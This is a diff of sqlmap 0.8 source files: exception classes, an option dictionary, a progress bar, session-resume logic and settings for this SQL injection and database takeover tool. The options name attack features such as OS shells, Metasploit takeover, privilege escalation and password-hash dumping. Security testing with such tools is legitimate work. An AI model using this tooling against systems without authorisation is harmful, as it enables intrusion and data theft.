+
+                    if re.search("^[\ *]*$", value):
+                        value = "NULL"
+
+                    maxlength = int(info["length"])
+                    blank = " " * (maxlength - len(value))
+                    self.__write("| %s%s" % (value, blank), n=False)
+
+                    if not conf.multipleTargets and field == fields:
+                        dataToDumpFile(dumpFP, "\"%s\"" % value)
+                    elif not conf.multipleTargets:
+                        dataToDumpFile(dumpFP, "\"%s\"," % value)
+
+                    field += 1
+
+            self.__write("|")
+
+            if not conf.multipleTargets:
+                dataToDumpFile(dumpFP, "\n")
+
+        self.__write("%s\n" % separator)
+
+        if not conf.multipleTargets:
+            dataToDumpFile(dumpFP, "\n")
+            dumpFP.close()
+
+            logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
+
+# object to manage how to print the retrieved queries output to
+# standard output and sessions file
+dumper = Dump()

lib/core/exception.py

@@ -0,0 +1,105 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+from lib.core.settings import PLATFORM
+from lib.core.settings import PYVERSION
+from lib.core.settings import VERSION
+from lib.core.settings import VERSION_STRING
+
+
+class sqlmapConnectionException(Exception):
+    pass
+
+class sqlmapDataException(Exception):
+    pass
+
+class sqlmapFilePathException(Exception):
+    pass
+
+class sqlmapGenericException(Exception):
+    pass
+
+class sqlmapMissingDependence(Exception):
+    pass
+
+class sqlmapMissingMandatoryOptionException(Exception):
+    pass
+
+class sqlmapMissingPrivileges(Exception):
+    pass
+
+class sqlmapNoneDataException(Exception):
+    pass
+
+class sqlmapNotVulnerableException(Exception):
+    pass
+
+class sqlmapRegExprException(Exception):
+    pass
+
+class sqlmapSyntaxException(Exception):
+    pass
+
+class sqlmapThreadException(Exception):
+    pass
+
+class sqlmapUndefinedMethod(Exception):
+    pass
+
+class sqlmapUnsupportedDBMSException(Exception):
+    pass
+
+class sqlmapUnsupportedFeatureException(Exception):
+    pass
+
+class sqlmapValueException(Exception):
+    pass
+
+def unhandledException():
+    errMsg  = "unhandled exception in %s, please copy " % VERSION_STRING
+    errMsg += "the command line and the following text and send by e-mail "
+    errMsg += "to [email protected]. The developer will "
+    errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
+    errMsg += "Python version: %s\n" % PYVERSION
+    errMsg += "Operating system: %s" % PLATFORM
+    return errMsg
+
+exceptionsTuple = (
+                    sqlmapConnectionException,
+                    sqlmapDataException,
+                    sqlmapFilePathException,
+                    sqlmapGenericException,
+                    sqlmapMissingDependence,
+                    sqlmapMissingMandatoryOptionException,
+                    sqlmapNoneDataException,
+                    sqlmapRegExprException,
+                    sqlmapSyntaxException,
+                    sqlmapUndefinedMethod,
+                    sqlmapMissingPrivileges,
+                    sqlmapNotVulnerableException,
+                    sqlmapThreadException,
+                    sqlmapUnsupportedDBMSException,
+                    sqlmapUnsupportedFeatureException,
+                    sqlmapValueException,
+                  )

lib/core/optiondict.py

@@ -0,0 +1,150 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+optDict = {
+            # Family:        { "parameter_name":    "parameter_datatype" },
+            "Target":        {
+                               "url":               "string",
+                               "list":              "string",
+                               "requestFile":       "string",
+                               "googleDork":        "string",
+                               "configFile":        "string"
+                             },
+
+            "Request":       {
+                               "method":            "string",
+                               "data":              "string",
+                               "cookie":            "string",
+                               "cookieUrlencode":   "boolean",
+                               "dropSetCookie":     "boolean",
+                               "referer":           "string",
+                               "agent":             "string",
+                               "userAgentsFile":    "string",
+                               "headers":           "string",
+                               "aType":             "string",
+                               "aCred":             "string",
+                               "aCert":             "string",
+                               "proxy":             "string",
+                               "ignoreProxy":       "boolean",
+                               "threads":           "integer",
+                               "delay":             "float",
+                               "timeout":           "float",
+                               "retries":           "integer",
+                               "scope":             "string"
+                             },
+
+            "Injection":     {
+                               "testParameter":     "string",
+                               "dbms":              "string",
+                               "os":                "string",
+                               "prefix":            "string",
+                               "postfix":           "string",
+                               "string":            "string",
+                               "regexp":            "string",
+                               "eString":           "string",
+                               "eRegexp":           "string",
+                             },
+
+            "Techniques":    {
+                               "stackedTest":       "boolean",
+                               "timeTest":          "boolean",
+                               "timeSec":           "integer",
+                               "unionTest":         "boolean",
+                               "uTech":             "string",
+                               "unionUse":          "boolean"
+                             },
+
+            "Fingerprint":   {
+                               "extensiveFp":       "boolean"
+                             },
+
+            "Enumeration":   {
+                               "getBanner":         "boolean",
+                               "getCurrentUser":    "boolean",
+                               "getCurrentDb":      "boolean",
+                               "isDba":             "boolean",
+                               "getUsers":          "boolean",
+                               "getPasswordHashes": "boolean",
+                               "getPrivileges":     "boolean",
+                               "getDbs":            "boolean",
+                               "getTables":         "boolean",
+                               "getColumns":        "boolean",
+                               "dumpTable":         "boolean",
+                               "dumpAll":           "boolean",
+                               "user":              "string",
+                               "db":                "string",
+                               "tbl":               "string",
+                               "col":               "string",
+                               "excludeSysDbs":     "boolean",
+                               "limitStart":        "integer",
+                               "limitStop":         "integer",
+                               "firstChar":         "integer",
+                               "lastChar":          "integer",
+                               "query":             "string",
+                               "sqlShell":          "boolean"
+                             },
+
+            "User-defined function": {
+                               "udfInject":         "boolean",
+                               "shLib":             "string"
+                             },
+
+            "File system":   {
+                               "rFile":             "string",
+                               "wFile":             "string",
+                               "dFile":             "string"
+                             },
+
+            "Takeover":      {
+                               "osCmd":             "string",
+                               "osShell":           "boolean",
+                               "osPwn":             "boolean",
+                               "osSmb":             "boolean",
+                               "osBof":             "boolean",
+                               "privEsc":           "boolean",
+                               "msfPath":           "string",
+                               "tmpPath":           "string"
+                             },
+
+            "Windows":       {
+                               "regRead":           "boolean",
+                               "regAdd":            "boolean",
+                               "regDel":            "boolean",
+                               "regKey":            "string",
+                               "regVal":            "string",
+                               "regData":           "string",
+                               "regType":           "string"
+                             },
+
+            "Miscellaneous": {
+                               "sessionFile":       "string",
+                               "flushSession":      "boolean",
+                               "eta":               "boolean",
+                               "googlePage":        "integer",
+                               "updateAll":         "boolean",
+                               "batch":             "boolean",
+                               "cleanup":           "boolean",
+                               "verbose":           "integer"
+                             },
+          }

lib/core/progress.py

@@ -0,0 +1,105 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+from lib.core.common import dataToStdout
+from lib.core.data import conf
+
+class ProgressBar:
+    """
+    This class defines methods to update and draw a progress bar
+    """
+
+    def __init__(self, minValue=0, maxValue=10, totalWidth=None):
+        self.__progBar = "[]"
+        self.__oldProgBar = ""
+        self.__min = int(minValue)
+        self.__max = int(maxValue)
+        self.__span = self.__max - self.__min
+        self.__width = totalWidth if totalWidth else conf.progressWidth
+        self.__amount = 0
+        self.update()
+
+    def __convertSeconds(self, value):
+        seconds = value
+        minutes = seconds / 60
+        seconds = seconds - (minutes * 60)
+
+        return "%.2d:%.2d" % (minutes, seconds)
+
+    def update(self, newAmount=0):
+        """
+        This method updates the progress bar
+        """
+
+        if newAmount < self.__min:
+            newAmount = self.__min
+        elif newAmount > self.__max:
+            newAmount = self.__max
+
+        self.__amount = newAmount
+
+        # Figure out the new percent done, round to an integer
+        diffFromMin = float(self.__amount - self.__min)
+        percentDone = (diffFromMin / float(self.__span)) * 100.0
+        percentDone = round(percentDone)
+        percentDone = int(percentDone)
+
+        # Figure out how many hash bars the percentage should be
+        allFull = self.__width - 2
+        numHashes = (percentDone / 100.0) * allFull
+        numHashes = int(round(numHashes))
+
+        # Build a progress bar with an arrow of equal signs
+        if numHashes == 0:
+            self.__progBar = "[>%s]" % (" " * (allFull - 1))
+        elif numHashes == allFull:
+            self.__progBar = "[%s]" % ("=" * allFull)
+        else:
+            self.__progBar = "[%s>%s]" % ("=" * (numHashes - 1),
+                                          " " * (allFull - numHashes))
+
+        # Add the percentage at the beginning of the progress bar
+        percentString = str(percentDone) + "%"
+        self.__progBar = "%s %s" % (percentString, self.__progBar)
+
+    def draw(self, eta=0):
+        """
+        This method draws the progress bar if it has changed
+        """
+
+        if self.__progBar != self.__oldProgBar:
+            self.__oldProgBar = self.__progBar
+
+            if eta and self.__amount < self.__max:
+                dataToStdout("\r%s %d/%d  ETA %s" % (self.__progBar, self.__amount, self.__max, self.__convertSeconds(int(eta))))
+            else:
+                blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
+                dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
+
+    def __str__(self):
+        """
+        This method returns the progress bar string
+        """
+
+        return str(self.__progBar)

lib/core/readlineng.py

@@ -0,0 +1,91 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+
+Based on IPython readline library (IPython/rlineimpl.py), imports and
+provides the "correct" version of readline for the platform.
+In addition to normal readline stuff, this module provides haveReadline
+boolean and _outputfile variable used in genutils.
+"""
+
+import sys
+
+from lib.core.data import logger
+from lib.core.settings import IS_WIN
+from lib.core.settings import PLATFORM
+
+try:
+    from readline import *
+    import readline as _rl
+
+    haveReadline = True
+except ImportError:
+    try:
+        from pyreadline import *
+        import pyreadline as _rl
+
+        haveReadline = True
+    except ImportError:    
+        haveReadline = False
+
+if IS_WIN and haveReadline:
+    try:
+        _outputfile=_rl.GetOutputFile()
+    except AttributeError:
+        debugMsg  = "Failed GetOutputFile when using platform's "
+        debugMsg += "readline library"
+        logger.debug(debugMsg)
+
+        haveReadline = False
+
+# Test to see if libedit is being used instead of GNU readline.
+# Thanks to Boyd Waters for this patch.
+uses_libedit = False
+
+if PLATFORM == 'darwin' and haveReadline:
+    import commands
+
+    (status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )
+
+    if status == 0 and len(result) > 0:
+        # We are bound to libedit - new in Leopard
+        _rl.parse_and_bind("bind ^I rl_complete")
+
+        debugMsg  = "Leopard libedit detected when using platform's "
+        debugMsg += "readline library"
+        logger.debug(debugMsg)
+
+        uses_libedit = True
+
+# the clear_history() function was only introduced in Python 2.4 and is
+# actually optional in the readline API, so we must explicitly check for its
+# existence.  Some known platforms actually don't have it.  This thread:
+# http://mail.python.org/pipermail/python-dev/2003-August/037845.html
+# has the original discussion.
+if haveReadline:
+    try:
+        _rl.clear_history
+    except AttributeError:
+        def clear_history():
+            pass
+
+        _rl.clear_history = clear_history

lib/core/session.py

@@ -0,0 +1,438 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import re
+
+from lib.core.common import dataToSessionFile
+from lib.core.common import formatFingerprintString
+from lib.core.common import readInput
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.settings import MSSQL_ALIASES
+from lib.core.settings import MYSQL_ALIASES
+from lib.core.settings import PGSQL_ALIASES
+from lib.core.settings import ORACLE_ALIASES
+
+def setString():
+    """
+    Save string to match in session file.
+    """
+
+    condition = (
+                  not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
+                  not kb.resumedQueries[conf.url].has_key("String") )
+                )
+
+    if condition:
+        dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
+
+def setRegexp():
+    """
+    Save regular expression to match in session file.
+    """
+
+    condition = (
+                  not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
+                  not kb.resumedQueries[conf.url].has_key("Regular expression") )
+                )
+
+    if condition:
+        dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
+
+def setMatchRatio():
+    condition = (
+                  not kb.resumedQueries
+                  or ( kb.resumedQueries.has_key(conf.url) and
+                  not kb.resumedQueries[conf.url].has_key("Match ratio") )
+                )
+
+    if condition:
+        dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
+
+def setInjection():
+    """
+    Save information retrieved about injection place and parameter in the
+    session file.
+    """
+
+    if kb.injPlace == "User-Agent":
+        kb.injParameter = conf.agent
+
+    condition = (
+                  kb.injPlace and kb.injParameter and ( not kb.resumedQueries
+                  or ( kb.resumedQueries.has_key(conf.url) and
+                  ( not kb.resumedQueries[conf.url].has_key("Injection point") 
+                  or not kb.resumedQueries[conf.url].has_key("Injection parameter")
+                  or not kb.resumedQueries[conf.url].has_key("Injection type")
+                  ) ) )
+                )
+
+    if condition:
+        dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injPlace))
+        dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
+        dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
+
+def setParenthesis(parenthesisCount):
+    """
+    @param parenthesisCount: number of parenthesis to be set into the
+    knowledge base as fingerprint.
+    @type parenthesisCount: C{int}
+    """
+
+    condition = (
+                  not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
+                  not kb.resumedQueries[conf.url].has_key("Parenthesis") )
+                )
+
+    if condition:
+        dataToSessionFile("[%s][%s][%s][Parenthesis][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], parenthesisCount))
+
+    kb.parenthesis = parenthesisCount
+
+def setDbms(dbms):
+    """
+    @param dbms: database management system to be set into the knowledge
+    base as fingerprint.
+    @type dbms: C{str}
+    """
+
+    condition = (
+                  not kb.resumedQueries
+                  or ( kb.resumedQueries.has_key(conf.url) and
+                  not kb.resumedQueries[conf.url].has_key("DBMS") )
+                )
+
+    if condition:
+        dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
+
+    firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
+                                     "|".join([alias for alias in MYSQL_ALIASES]),
+                                     "|".join([alias for alias in PGSQL_ALIASES]),
+                                     "|".join([alias for alias in ORACLE_ALIASES]))
+    dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
+
+    if dbmsRegExp:
+        dbms = dbmsRegExp.group(1)
+
+    kb.dbms = dbms
+
+    logger.info("the back-end DBMS is %s" % kb.dbms)
+
+def setOs():
+    """
+    Example of kb.bannerFp dictionary:
+
+    {
+      'sp': set(['Service Pack 4']),
+      'dbmsVersion': '8.00.194',
+      'dbmsServicePack': '0',
+      'distrib': set(['2000']),
+      'dbmsRelease': '2000',
+      'type': set(['Windows'])
+    }
+    """
+
+    infoMsg   = ""
+    condition = (
+                  not kb.resumedQueries
+                  or ( kb.resumedQueries.has_key(conf.url) and
+                  not kb.resumedQueries[conf.url].has_key("OS") )
+                )
+
+    if not kb.bannerFp:
+        return
+
+    if "type" in kb.bannerFp:
+        kb.os   = formatFingerprintString(kb.bannerFp["type"])
+        infoMsg = "the back-end DBMS operating system is %s" % kb.os
+
+    if "distrib" in kb.bannerFp:
+        kb.osVersion = formatFingerprintString(kb.bannerFp["distrib"])
+        infoMsg     += " %s" % kb.osVersion
+
+    if "sp" in kb.bannerFp:
+        kb.osSP = int(formatFingerprintString(kb.bannerFp["sp"]).replace("Service Pack ", ""))
+
+    elif "sp" not in kb.bannerFp and kb.os == "Windows":
+        kb.osSP = 0
+
+    if kb.os and kb.osVersion and kb.osSP:
+        infoMsg += " Service Pack %d" % kb.osSP
+
+    if infoMsg:
+        logger.info(infoMsg)
+
+    if condition:
+        dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
+
+def setStacked():
+    condition = (
+                  not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
+                  not kb.resumedQueries[conf.url].has_key("Stacked queries") )
+                )
+
+    if not isinstance(kb.stackedTest, str):
+        return
+
+    if condition:
+        dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
+
+def setUnion(comment=None, count=None, position=None):
+    """
+    @param comment: union comment to save in session file
+    @type comment: C{str}
+
+    @param count: union count to save in session file
+    @type count: C{str}
+
+    @param position: union position to save in session file
+    @type position: C{str}
+    """
+
+    if comment and count:
+        condition = (
+                      not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
+                      ( not kb.resumedQueries[conf.url].has_key("Union comment") 
+                      or not kb.resumedQueries[conf.url].has_key("Union count")
+                      ) )
+                    )
+
+        if condition:
+            dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], comment))
+            dataToSessionFile("[%s][%s][%s][Union count][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], count))
+
+        kb.unionComment = comment
+        kb.unionCount = count
+
+    elif position:
+        condition = (
+                      not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
+                      ( not kb.resumedQueries[conf.url].has_key("Union position")
+                      ) )
+                    )
+
+        if condition:
+            dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], position))
+
+        kb.unionPosition = position
+
+def setRemoteTempPath():
+    condition = (
+                  not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
+                  not kb.resumedQueries[conf.url].has_key("Remote temp path") )
+                )
+
+    if condition:
+        dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
+
+def resumeConfKb(expression, url, value):
+    if expression == "String" and url == conf.url:
+        string = value[:-1]
+
+        logMsg  = "resuming string match '%s' from session file" % string
+        logger.info(logMsg)
+
+        if string and ( not conf.string or string != conf.string ):
+            if not conf.string:
+                message = "you did not provide any string to match. "
+            else:
+                message  = "The string you provided does not match "
+                message += "the resumed string. "
+
+            message += "Do you want to use the resumed string "
+            message += "to be matched in page when the query "
+            message += "is valid? [Y/n] "
+            test = readInput(message, default="Y")
+
+            if not test or test[0] in ("y", "Y"):
+                conf.string = string
+
+    elif expression == "Regular expression" and url == conf.url:
+        regexp = value[:-1]
+
+        logMsg  = "resuming regular expression match '%s' from session file" % regexp
+        logger.info(logMsg)
+
+        if regexp and ( not conf.regexp or regexp != conf.regexp ):
+            if not conf.regexp:
+                message  = "you did not provide any regular expression "
+                message += "to match. "
+            else:
+                message  = "The regular expression you provided does not "
+                message += "match the resumed regular expression. "
+
+            message += "Do you want to use the resumed regular expression "
+            message += "to be matched in page when the query "
+            message += "is valid? [Y/n] "
+            test = readInput(message, default="Y")
+
+            if not test or test[0] in ("y", "Y"):
+                conf.regexp = regexp
+
+    elif expression == "Match ratio" and url == conf.url:
+        matchRatio = value[:-1]
+
+        logMsg  = "resuming match ratio '%s' from session file" % matchRatio
+        logger.info(logMsg)
+
+        conf.matchRatio = round(float(matchRatio), 3)
+
+    elif expression == "Injection point" and url == conf.url:
+        injPlace = value[:-1]
+
+        logMsg  = "resuming injection point '%s' from session file" % injPlace
+        logger.info(logMsg)
+
+        if not conf.paramDict.has_key(injPlace):
+            warnMsg  = "none of the parameters you provided "
+            warnMsg += "matches the resumable injection point. "
+            warnMsg += "sqlmap is going to reidentify the "
+            warnMsg += "injectable point"
+            logger.warn(warnMsg)
+        else:
+            kb.injPlace = injPlace
+
+    elif expression == "Injection parameter" and url == conf.url:
+        injParameter = value[:-1]
+
+        logMsg  = "resuming injection parameter '%s' from session file" % injParameter
+        logger.info(logMsg)
+
+        condition = (
+                      not conf.paramDict.has_key(kb.injPlace) or
+                      not conf.paramDict[kb.injPlace].has_key(injParameter)
+                    )
+
+        if condition:
+            warnMsg  = "none of the parameters you provided "
+            warnMsg += "matches the resumable injection parameter. "
+            warnMsg += "sqlmap is going to reidentify the "
+            warnMsg += "injectable point"
+            logger.warn(warnMsg)
+        else:
+            kb.injParameter = injParameter
+
+    elif expression == "Injection type" and url == conf.url:
+        kb.injType = value[:-1]
+
+        logMsg  = "resuming injection type '%s' from session file" % kb.injType
+        logger.info(logMsg)
+
+    elif expression == "Parenthesis" and url == conf.url:
+        kb.parenthesis = int(value[:-1])
+
+        logMsg  = "resuming %d number of " % kb.parenthesis
+        logMsg += "parenthesis from session file"
+        logger.info(logMsg)
+
+    elif expression == "DBMS" and url == conf.url:
+        dbms        = value[:-1]
+        dbms        = dbms.lower()
+        dbmsVersion = None
+
+        logMsg  = "resuming back-end DBMS '%s' " % dbms
+        logMsg += "from session file"
+        logger.info(logMsg)
+
+        firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
+                                         "|".join([alias for alias in MYSQL_ALIASES]),
+                                         "|".join([alias for alias in PGSQL_ALIASES]),
+                                         "|".join([alias for alias in ORACLE_ALIASES]))
+        dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
+
+        if dbmsRegExp:
+            dbms        = dbmsRegExp.group(1)
+            dbmsVersion = [ dbmsRegExp.group(2) ]
+
+        if conf.dbms and conf.dbms.lower() != dbms:
+            message  = "you provided '%s' as back-end DBMS, " % conf.dbms
+            message += "but from a past scan information on the target URL "
+            message += "sqlmap assumes the back-end DBMS is %s. " % dbms
+            message += "Do you really want to force the back-end "
+            message += "DBMS value? [y/N] "
+            test = readInput(message, default="N")
+
+            if not test or test[0] in ("n", "N"):
+                conf.dbms      = dbms
+                kb.dbmsVersion = dbmsVersion
+        else:
+            conf.dbms      = dbms
+            kb.dbmsVersion = dbmsVersion
+
+    elif expression == "OS" and url == conf.url:
+        os = value[:-1]
+
+        logMsg  = "resuming back-end DBMS operating system '%s' " % os
+        logMsg += "from session file"
+        logger.info(logMsg)
+
+        if conf.os and conf.os.lower() != os.lower():
+            message  = "you provided '%s' as back-end DBMS operating " % conf.os
+            message += "system, but from a past scan information on the "
+            message += "target URL sqlmap assumes the back-end DBMS "
+            message += "operating system is %s. " % os
+            message += "Do you really want to force the back-end DBMS "
+            message += "OS value? [y/N] "
+            test = readInput(message, default="N")
+
+            if not test or test[0] in ("n", "N"):
+                conf.os = os
+        else:
+            conf.os = os
+
+    elif expression == "Stacked queries" and url == conf.url:
+        kb.stackedTest = value[:-1]
+
+        logMsg  = "resuming stacked queries syntax "
+        logMsg += "'%s' from session file" % kb.stackedTest
+        logger.info(logMsg)
+
+    elif expression == "Union comment" and url == conf.url:
+        kb.unionComment = value[:-1]
+
+        logMsg  = "resuming union comment "
+        logMsg += "'%s' from session file" % kb.unionComment
+        logger.info(logMsg)
+
+    elif expression == "Union count" and url == conf.url:
+        kb.unionCount = int(value[:-1])
+
+        logMsg  = "resuming union count "
+        logMsg += "%s from session file" % kb.unionCount
+        logger.info(logMsg)
+
+    elif expression == "Union position" and url == conf.url:
+        kb.unionPosition = int(value[:-1])
+
+        logMsg  = "resuming union position "
+        logMsg += "%s from session file" % kb.unionPosition
+        logger.info(logMsg)
+
+    elif expression == "Remote temp path" and url == conf.url:
+        conf.tmpPath = value[:-1]
+
+        logMsg  = "resuming remote absolute path of temporary "
+        logMsg += "files directory '%s' from session file" % conf.tmpPath
+        logger.info(logMsg)

lib/core/settings.py

@@ -0,0 +1,112 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import logging
+import subprocess
+import sys
+
+# sqlmap version and site
+VERSION            = "0.8"
+VERSION_STRING     = "sqlmap/%s" % VERSION
+DESCRIPTION        = "automatic SQL injection and database takeover tool"
+SITE               = "http://sqlmap.sourceforge.net"
+
+# sqlmap logger
+logging.addLevelName(9, "TRAFFIC OUT")
+logging.addLevelName(8, "TRAFFIC IN")
+
+LOGGER             = logging.getLogger("sqlmapLog")
+LOGGER_HANDLER     = logging.StreamHandler(sys.stdout)
+FORMATTER          = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
+
+LOGGER_HANDLER.setFormatter(FORMATTER)
+LOGGER.addHandler(LOGGER_HANDLER)
+LOGGER.setLevel(logging.WARN)
+
+# System variables
+IS_WIN             = subprocess.mswindows
+PLATFORM           = sys.platform.lower()
+PYVERSION          = sys.version.split()[0]
+
+# Url to update Microsoft SQL Server XML versions file from
+MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
+
+# Database managemen system specific variables
+MSSQL_SYSTEM_DBS   = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
+MYSQL_SYSTEM_DBS   = ( "information_schema", "mysql" )                   # Before MySQL 5.0 only "mysql"
+PGSQL_SYSTEM_DBS   = ( "information_schema", "pg_catalog", "pg_toast" )
+ORACLE_SYSTEM_DBS  = ( "SYSTEM", "SYSAUX" )                              # These are TABLESPACE_NAME
+
+MSSQL_ALIASES      = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
+MYSQL_ALIASES      = [ "mysql", "my" ]
+PGSQL_ALIASES      = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
+ORACLE_ALIASES     = [ "oracle", "orcl", "ora", "or" ]
+
+SUPPORTED_DBMS     = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
+SUPPORTED_OS       = ( "linux", "windows" )
+
+SQL_STATEMENTS     = {
+                       "SQL SELECT statement":  (
+                             "select ",
+                             "show ",
+                             " top ",
+                             " distinct ",
+                             " from ",
+                             " from dual",
+                             " where ",
+                             " group by ",
+                             " order by ",
+                             " having ",
+                             " limit ",
+                             " offset ",
+                             " union all ",
+                             " rownum as ",
+                             "(case ",         ),
+
+                       "SQL data definition":   (
+                             "create ",
+                             "declare ",
+                             "drop ",
+                             "truncate ",
+                             "alter ",         ),
+
+                       "SQL data manipulation": (
+                             "insert ",
+                             "update ",
+                             "delete ",
+                             "merge ",         ),
+
+                       "SQL data control":      (
+                             "grant ",         ),
+
+                       "SQL data execution":    (
+                             "execute ",       ),
+
